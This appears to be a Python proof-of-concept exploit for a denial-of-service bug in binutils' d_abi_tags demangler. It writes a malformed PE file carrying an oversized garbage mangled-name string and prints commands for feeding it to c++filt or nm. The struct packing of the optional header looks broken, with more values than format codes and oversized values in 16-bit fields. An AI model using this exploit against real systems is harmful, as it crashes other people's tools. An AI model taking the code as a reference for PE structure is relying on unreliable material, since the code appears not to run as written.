#!/usr/bin/env python3
"""
CVE-2025-66866 PoC - BinUtils d_abi_tags DoS
This PoC generates a malformed PE file that triggers the d_abi_tags vulnerability
in BinUtils 2.26 when processed by c++filt or related tools.
"""
import struct
import sys
def create_malformed_pe():
"""Generate a PE file with malformed ABI tags to trigger DoS"""
# DOS Header
dos_header = bytearray(64)
dos_header[0:2] = b'MZ'
struct.pack_into('<I', dos_header, 60, 64) # PE header offset
# PE Signature
pe_sig = b'PE\x00\x00'
# COFF Header
coff_header = struct.pack('<HHIIIHH',
0x014c, # Machine (i386)
1, # NumberOfSections
0, # TimeDateStamp
0, # PointerToSymbolTable
0, # NumberOfSymbols
224, # SizeOfOptionalHeader
0x0102 # Characteristics
)
# Optional Header
optional_header = struct.pack('<HHBBIIHHHHHHIIHHHHHHIIIIIIHH',
0x010B, # Magic
14, # MajorLinkerVersion
0, # MinorLinkerVersion
0, # SizeOfCode
0, # SizeOfInitializedData
0, # SizeOfUninitializedData
0, # AddressOfEntryPoint
0, # BaseOfCode
0, # BaseOfData
0, # ImageBase
0x1000, # SectionAlignment
0x200, # FileAlignment
6, # MajorOperatingSystemVersion
0, # MinorOperatingSystemVersion
0, # MajorImageVersion
0, # MinorImageVersion
6, # MajorSubsystemVersion
0, # MinorSubsystemVersion
0, # Win32VersionValue
0x3000, # SizeOfImage
0x200, # SizeOfHeaders
0, # CheckSum
3, # Subsystem (GUI)
0, # DllCharacteristics
0x100000,# SizeOfStackReserve
0x1000, # SizeOfStackCommit
0x100000,# SizeOfHeapReserve
0x1000, # SizeOfHeapCommit
0, # LoaderFlags
16 # NumberOfRvaAndSizes
)
# Malformed ABI tag string that triggers d_abi_tags vulnerability
# This creates an overly long or malformed ABI tag sequence
malformed_abi_tag = b'_Z' + b'A' * 1000 + b'_' + b'\xFF' * 100
# Section Header (.text)
section_name = b'.text\x00\x00\x00'
section_header = section_name + struct.pack('<IIIIIHHII',
len(malformed_abi_tag), # VirtualSize
0x1000, # VirtualAddress
len(malformed_abi_tag), # SizeOfRawData
0x200, # PointerToRawData
0, # PointerToRelocations
0, # PointerToLinenumbers
0, # NumberOfRelocations
0, # NumberOfLinenumbers
0x60000020 # Characteristics
)
# Combine all parts
pe_file = dos_header + pe_sig + coff_header + optional_header + section_header
pe_file += b'\x00' * (0x200 - len(pe_file)) # Pad to FileAlignment
pe_file += malformed_abi_tag
return pe_file
def main():
output_file = 'CVE-2025-66866_poc.exe'
pe_data = create_malformed_pe()
with open(output_file, 'wb') as f:
f.write(pe_data)
print(f'[+] PoC PE file created: {output_file}')
print(f'[+] File size: {len(pe_data)} bytes')
print('[*] To trigger the vulnerability, process this file with BinUtils tools:')
print(' $ c++filt < CVE-2025-66866_poc.exe')
print(' or')
print(' $ nm CVE-2025-66866_poc.exe')
if __name__ == '__main__':
main()